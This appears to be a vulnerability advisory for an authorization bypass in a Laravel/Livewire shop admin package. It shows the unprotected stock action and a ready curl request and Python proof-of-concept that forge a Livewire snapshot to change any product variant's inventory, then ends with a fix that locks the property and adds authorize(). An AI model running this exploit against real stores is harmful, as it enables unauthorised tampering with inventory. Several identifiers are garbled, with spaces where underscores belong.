CVE-2026-56829

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
  return Action::make('stock')
    ->label( ('shopper::forms.actions.update'))
    ->color('gray')
    ->icon(Untitledui::Package)
    ->modalHeading( ('shopper::pages/products.modals.variants.title'))
    ->modalWidth(Width::Large)
    ->schema([
      Select::make('inventory')
        ->label( ('shopper::pages/products.inventory name'))
        ->options(Inventory::query()->pluck('name', 'id'))
        ->native(false)
        ->required(),
      TextInput::make('quantity')
        ->label( ('shopper::forms.label.quantity'))
        ->placeholder('-10 or -5 or 50, etc')
        ->numeric()
        ->required(),
    ])
    ->action(function (array $data): void {
      // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
      // with no permission check anywhere in this path
    });
}

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel session=<your session value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update 
 -H "Content-Type: application/json" 
 -H "$XSRF" 
 -H "Cookie: $SESSION" 
 -d '{
  "components": [{
   "snapshot": "{"id":"VARIANT STOCK COMPONENT ID","data":{"variant":42},"checksum":"..."}",
   "updates": {},
   "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
  }]
 }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
 BASE URL    e.g. http://localhost
 SESSION COOKIE value of the laravel session cookie
 XSRF TOKEN   URL-decoded value of the XSRF-TOKEN cookie
 COMPONENT ID  Livewire component snapshot ID (from page source)
 VARIANT ID   integer ID of any target variant
 INVENTORY ID  integer ID of the target inventory location
 QUANTITY    integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base url   = os.environ['BASE URL']
session    = os.environ['SESSION COOKIE']
xsrf     = os.environ['XSRF TOKEN']
component id = os.environ['COMPONENT ID']
variant id  = int(os.environ['VARIANT ID'])
inventory id = int(os.environ['INVENTORY ID'])
quantity   = int(os.environ['QUANTITY'])

headers = {
  'Content-Type': 'application/json',
  'Accept': 'text/html, application/xhtml+xml',
  'X-XSRF-TOKEN': xsrf,
  'Cookie': f'laravel session={session}',
  'X-Livewire': '1',
}

snapshot = json.dumps({
  'id': component id,
  'data': {'variant': variant id},
  'checksum': 'UNLOCKED PROP NO CHECKSUM NEEDED',
})

payload = {
  'components': [{
    'snapshot': snapshot,
    'updates': {},
    'calls': [{
      'path': '',
      'method': 'callAction',
      'params': ['stock', {
        'inventory': inventory id,
        'quantity': quantity,
      }]
    }]
  }]
}

r = requests.post(f'{base url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status code}')
print(r.text[:500])

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use LivewireAttributesLocked;

#[Locked]           // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
  return Action::make('stock')
    ->authorize('edit product variants')  // add this
    // ... rest of the action